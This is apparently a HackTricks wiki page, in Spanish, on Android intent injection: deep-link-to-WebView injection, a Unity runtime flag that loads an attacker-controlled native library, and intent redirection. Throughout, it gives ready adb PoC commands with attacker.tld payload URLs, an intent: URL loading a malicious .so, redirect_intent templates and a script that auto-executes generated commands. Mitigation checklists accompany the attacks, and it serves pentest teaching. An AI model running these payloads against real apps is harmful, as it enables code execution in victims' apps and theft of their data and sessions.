Intent Injection
Reading time: 14 minutes
tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:
HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Intent injection abusa de componentes que aceptan Intents controlados por el atacante o datos que luego se convierten en Intents. Dos patrones muy comunes durante Android app pentests son:
- Pasar extras manipulados a Activities/Services/BroadcastReceivers exportados que luego son reenviados a componentes privilegiados no exportados.
- Disparar deep links exportados con VIEW/BROWSABLE que reenvían URLs controladas por el atacante hacia WebViews internas u otros sinks sensibles.
Deep links → WebView sink (URL parameter injection)
Si una app expone un deep link de esquema personalizado como:
myscheme://com.example.app/web?url=<attacker_url>
y la Activity receptora reenvía el parámetro de consulta url a un WebView, puedes forzar a la app a renderizar contenido remoto arbitrario en su propio contexto WebView.
PoC vía adb:
# Implicit VIEW intent
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
# Or explicitly target an Activity
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
Impacto
- HTML/JS se ejecuta dentro del perfil de WebView de la app.
- Si JavaScript está habilitado (por defecto o por comprobaciones desordenadas), puedes enumerar/usar cualquier objeto
@JavascriptInterfaceexpuesto, robar cookies/local storage de WebView y pivotar.
Véase también:
Error de orden de comprobaciones que habilita JavaScript
Un fallo recurrente consiste en habilitar JavaScript (u otras configuraciones permisivas de WebView) antes de que termine la verificación/allowlist de la URL final. Si helpers tempranos aceptan tu deep link y el WebView se configura primero, la carga final ocurre con JavaScript ya habilitado aunque las comprobaciones posteriores sean defectuosas o lleguen demasiado tarde.
Qué buscar en el código descompilado:
- Múltiples helpers que parsean/dividen/reconstruyen la URL de forma distinta (normalización inconsistente).
- Llamadas a
getSettings().setJavaScriptEnabled(true)antes de la última comprobación de allowlist de host/path. - Un pipeline como: analizar → validación parcial → configurar WebView → verificación final → loadUrl.
Mitigaciones
- Canonicalizar una vez y validar estrictamente; fallar cerrado.
- Sólo habilitar JavaScript después de que todas las comprobaciones pasen y justo antes de cargar contenido confiable.
- Evitar exponer bridges a orígenes no confiables.
Unity Runtime: Intent-to-CLI extras → pre-init native library injection (RCE)
Las apps Android basadas en Unity suelen usar com.unity3d.player.UnityPlayerActivity (o UnityPlayerGameActivity) como la Activity de entrada. La plantilla Android de Unity trata un extra de Intent especial llamado unity como una cadena de flags de línea de comandos para el runtime de Unity. Cuando la Activity de entrada está exportada (por defecto en muchas plantillas), cualquier app local —y a veces un sitio web si BROWSABLE está presente— puede suministrar este extra.
Un flag peligroso y no documentado conduce a la ejecución de código nativo durante la inicialización muy temprana del proceso:
- Hidden flag:
-xrsdk-pre-init-library <absolute-path> - Efecto:
dlopen(<absolute-path>, RTLD_NOW)muy temprano en la init, cargando un ELF controlado por el atacante dentro del proceso de la app objetivo con su UID y permisos.
Extracto de ingeniería inversa (simplificado):
// lookup the arg value
initLibPath = FUN_00272540(uVar5, "xrsdk-pre-init-library");
// load arbitrary native library early
lVar2 = dlopen(initLibPath, 2); // RTLD_NOW
Por qué funciona
- El extra de Intent
unityse parsea en flags de runtime de Unity. - Suministrar el flag pre-init hace que Unity apunte a una ruta ELF controlada por el attacker dentro de una ruta de linker namespace permitida (ver restricciones abajo).
Condiciones para la explotación
- La Activity de entrada de Unity está exportada (comúnmente true por defecto).
- Para ejecución remota con un solo clic vía navegador: la Activity de entrada también declara
android.intent.category.BROWSABLEpara que los extras puedan pasarse desde una URLintent:.
Explotación local (mismo dispositivo)
- Coloca un payload ELF en una ruta legible por la victim app. Lo más fácil: incluir una biblioteca maliciosa en tu propio attacker app y asegurarte de que se extraiga bajo
/data/app/.../lib/<abi>/configurando en el attacker’s manifest:
<application android:extractNativeLibs="true" ...>
- Lanza la activity Unity de la víctima con el CLI pre-init flag en el extra
unity. Ejemplo ADB PoC:
adb shell am start \
-n com.victim.pkg/com.unity3d.player.UnityPlayerActivity \
-e unity "-xrsdk-pre-init-library /data/app/~~ATTACKER_PKG==/lib/arm64/libpayload.so"
- Unity llama a
dlopen("/data/.../libpayload.so", RTLD_NOW); tu payload se ejecuta en el proceso víctima, heredando todos sus permisos de app (cámara/micrófono/red/almacenamiento, etc.) y el acceso a sesiones/datos dentro de la app.
Notas
- La ruta exacta
/data/app/...varía entre dispositivos/instalaciones. Una app atacante puede recuperar su propio directorio de librerías nativas en tiempo de ejecución víagetApplicationInfo().nativeLibraryDiry comunicárselo al trigger. - El archivo no necesita terminar con
.sosi es un ELF válido –dlopen()se fija en los encabezados ELF, no en las extensiones.
Remote one‑click via browser (conditional)
Si la actividad de entrada de Unity está exportada con BROWSABLE, un sitio web puede pasar extras vía una URL intent::
intent:#Intent;package=com.example.unitygame;scheme=whatever;\
S.unity=-xrsdk-pre-init-library%20/data/local/tmp/malicious.so;end;
Sin embargo, en Android moderno los espacios de nombres del enlazador dinámico y SELinux bloquean la carga desde muchas rutas públicas (por ejemplo, /sdcard/Download). Verás errores como:
library "/sdcard/Download/libtest.so" ("/storage/emulated/0/Download/libtest.so") needed
or dlopened by "/data/app/.../lib/arm64/libunity.so" is not accessible for the
namespace: [name="clns-...", ... permitted_paths="/data:/mnt/expand:/data/data/com.example.unitygame"]
Estrategia de bypass: apuntar a apps que cachean bytes controlados por el atacante en su almacenamiento privado (por ejemplo, HTTP caches). Debido a que las rutas permitidas incluyen /data y el dir privado de la app, apuntar -xrsdk-pre-init-library a una ruta absoluta dentro del cache de la app puede satisfacer las restricciones del linker y producir ejecución de código. Esto refleja patrones previos de cache-to-ELF RCE experimentados en otras apps de Android.
Otros primitivos clásicos de inyección de Intent
- startActivity/sendBroadcast usando extras de
Intentsuministrados por el atacante que luego se re-parsan (Intent.parseUri(...)) y se ejecutan. - Componentes proxy exportados que reenvían Intents a componentes sensibles no exportados sin verificaciones de permiso.
Automatización de pruebas de componentes exportados (generación de ADB dirigida por Smali)
Cuando los componentes exportados esperan extras específicos, adivinar la forma de la payload provoca pérdida de tiempo y falsos negativos. Puedes automatizar el descubrimiento de claves/tipos directamente desde Smali y generar comandos adb listos para ejecutar.
Tool: APK Components Inspector
- Repo: https://github.com/thecybersandeep/apk-components-inspector
- Enfoque: descompilar y escanear Smali buscando llamadas como
getStringExtra("key"),getIntExtra("id", ...),getParcelableExtra("redirect_intent"),getSerializableExtra(...),getBooleanExtra(...),getAction(),getData()para inferir qué extras y campos son consumidos por cada componente. - Salida: para cada Activity/Service/Receiver/Provider exportado, la herramienta imprime una breve explicación y el comando exacto
adb shell am .../cmd content ...con flags correctamente tipados.
Instalación
git clone https://github.com/thecybersandeep/apk-components-inspector
cd apk-components-inspector
python3 -m venv venv && source venv/bin/activate
pip install androguard==3.3.5 rich
Uso
python apk-components-inspector.py target.apk
Intent Injection
Descripción
Intent Injection ocurre cuando una aplicación acepta Intents externos sin validarlos correctamente, permitiendo a un atacante iniciar Activities, Services o BroadcastReceivers no deseados, filtrar datos o ejecutar acciones en contexto de la app víctima.
Requisitos previos
- La app expone componentes (Activity, Service, BroadcastReceiver) con atributos exportados o filtros de intent inseguros.
- El atacante puede enviar Intents locales (adb) o remotos si existe un vector (por ejemplo, otra app maliciosa instalada).
Prueba rápida
- Identifica componentes exportados en el manifest o en tiempo de ejecución.
- Envía un Intent malicioso desde adb:
adb shell am start -a android.intent.action.VIEW -d "http://example.com" com.vulnerable.app
- Observa comportamiento inesperado, apertura de Activities, o logs que revelen información sensible.
Indicadores de compromiso
- Launch de Activities sin interacción del usuario.
- Logs que muestran datos internos en respuesta a Intents externos.
- Comportamiento de la app que cambia tras recibir Intents no autorizados.
Mitigaciones
- Marcar componentes sensibles como android:exported="false" si no deben ser accesibles externamente.
- Validar el contenido de los Intents entrantes (action, data, extras) y comprobar permisos o firmas cuando corresponda.
- Usar permissions explícitas para componentes que deben recibir Intents solo de apps de confianza.
- Implementar comprobaciones de origen y evitar procesar datos de Intents sin sanitización.
Recursos
{#ref}generic-methodologies-and-resources/pentesting-methodology.md{#endref}
adb shell am start -n com.target/.ExportedActivity --es url https://example.tld
adb shell am startservice -n com.target/.ExportedService --ei user_id 1337 --ez force true
adb shell am broadcast -n com.target/.ExportedReceiver -a com.target.ACTION --es redirect_intent "intent:#Intent;component=com.target/.Internal;end"
adb shell cmd content query --uri content://com.target.provider/items
Hoja de referencia de ADB am extras (banderas dependientes del tipo)
- Cadenas:
--es key value| Array de cadenas:--esa key v1,v2 - Enteros:
--ei key 123| Array de enteros:--eia key 1,2,3 - Booleanos:
--ez key true|false - Enteros largos:
--el key 1234567890 - Flotantes:
--ef key 1.23 - URIs (extra):
--eu key content://...| Data URI (datos del Intent):-d content://... - Extra de componente:
--ecn key com.pkg/.Cls - Extra de cadena nula:
--esn key - Banderas comunes:
-a <ACTION>-c <CATEGORY>-t <MIME>-f <FLAGS>--activity-clear-task --activity-new-task
Pro tips for Providers
- Usa
adb shell cmd content query|insert|update|delete ...para acceder a ContentProviders sin agentes. - Para sondeos SQLi, varía
--projectiony--where(aka selection) cuando el provider subyacente esté respaldado por SQLite.
Full-pipeline automation (interactive executor)
# generate and capture commands then execute them one by one interactively
python apk-components-inspector.py app.apk | tee adbcommands.txt
python run_adb_commands.py
Script auxiliar (fusiona líneas continuadas, ejecuta solo líneas que empiezan con adb):
import subprocess
def parse_adb_commands(file_path):
with open(file_path, 'r') as file:
lines = file.readlines()
commands = []
current = []
for line in lines:
s = line.strip()
if s.startswith("adb "):
current = [s]
elif s.startswith("#") or not s:
if current:
full = ' '.join(current).replace(" \\ ", " ").replace("\\", "").strip()
commands.append(full)
current = []
elif current:
current.append(s)
if current:
full = ' '.join(current).replace(" \\ ", " ").replace("\\", "").strip()
commands.append(full)
return commands
for i, cmd in enumerate(parse_adb_commands('adbcommands.txt'), 1):
print(f"\nCommand {i}: {cmd}")
input("Press Enter to execute this command...")
try:
r = subprocess.run(cmd, shell=True, check=True, text=True, capture_output=True)
print("Output:\n", r.stdout)
if r.stderr:
print("Errors:\n", r.stderr)
except subprocess.CalledProcessError as e:
print(f"Command failed with error:\n{e.stderr}")
Run on-device: the inspector is Python-based and works in Termux or rooted phones where apktool/androguard are available.
Intent Redirection (CWE-926) – búsqueda y explotación
Pattern
- An exported entry point (Activity/Service/Receiver) reads an incoming Intent and forwards it internally or externally without validating source/data, e.g.:
startActivity(getIntent())startActivity(intent)whereintentcame from an extra likeredirect_intent/next_intent/pending_intentorIntent.parseUri(...).- Trusting
action/data/componentfields without checks; not verifying caller identity.
What to search in Smali/Java
- Uses of
getParcelableExtra("redirect_intent"),getParcelable("intent"),getIntent().getParcelableExtra(...). - Direct
startActivity(...),startService(...),sendBroadcast(...)on attacker-influenced Intents. - Lack of
getCallingPackage()/getCallingActivity()checks or custom permission gates.
ADB PoC templates
- Proxy Activity forwarding an extra Intent to a privileged internal Activity:
adb shell am start -n com.target/.ProxyActivity \
--es redirect_intent 'intent:#Intent;component=com.target/.SensitiveActivity;end'
- Servicio exportado que procesa un parcelable
redirect_intent:
adb shell am startservice -n com.target/.ExportedService \
--es redirect_intent 'intent:#Intent;component=com.target/.PrivService;action=com.target.DO;end'
- Receptor exportado que reenvía sin validación:
adb shell am broadcast -n com.target/.RelayReceiver -a com.target.RELAY \
--es forwarded 'intent:#Intent;component=com.target/.HiddenActivity;S.extra=1;end'
Flags útiles para el comportamiento estilo singleTask
# Ensure a fresh task when testing Activities that check task/intent flags
adb shell am start -n com.target/.ExportedActivity --activity-clear-task --activity-new-task
Ejemplos del mundo real (el impacto varía):
- CVE-2024-26131 (Element Android): flujos exportados que conducen a manipulación de WebView, elusión de PIN, secuestro de inicio de sesión.
- CVE-2023-44121 (LG ThinQ Service): receiver exportado con acción
com.lge.lms.things.notification.ACTION→ efectos a nivel de sistema. - CVE-2023-30728 (Samsung PackageInstallerCHN < 13.1.03.00): redirección → acceso arbitrario a archivos (con interacción del usuario).
- CVE-2022-36837 (Samsung Email < 6.1.70.20): implicit Intents leak content.
- CVE-2021-4438 (React Native SMS User Consent).
- CVE-2020-14116 (Xiaomi Mi Browser).
Mitigaciones (lista de verificación para desarrolladores)
- No reenvíe los Intents entrantes directamente; sanee y reconstruya únicamente los campos permitidos.
- Restrinja la exposición con
android:exported="false"a menos que sea necesario. Proteja los componentes exportados con permisos y firmas. - Verifique la identidad del llamador (
getCallingPackage()/getCallingActivity()), y exija Intents explícitos para la navegación intra-app. - Valide tanto
actioncomodata(scheme/host/path) antes de usarlos; eviteIntent.parseUricon entrada no confiable.
Referencias
- Android – Access to app-protected components
- Samsung S24 Exploit Chain Pwn2Own 2024 Walkthrough
- Pwn2Own Ireland 2024 – Samsung S24 attack chain (whitepaper)
- Demonstration video
- Automating Android App Component Testing with New APK Inspector (blog)
- APK Components Inspector – GitHub
- Google guidance on intent redirection
- OVAA vulnerable app
- Exported Service PoC APK
- Ostorlab – 100M installs image app deep dive (component summary example)
- CVE-2024-26131 – NVD
- CVE-2023-44121 – CVE.org
- CVE-2023-30728 – CVE.org
- CVE-2022-36837 – CVE.org
- CVE-2021-4438 – NVD
- CVE-2020-14116 – NVD
- CVE-2025-59489 – Arbitrary Code Execution in Unity Runtime (blog)
- Unity docs – Android custom activity command-line
- Unity Security Sept-2025-01 advisory
- HEXACON talk – Messenger one-click cache-based RCE pattern (slides)
tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:
HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
HackTricks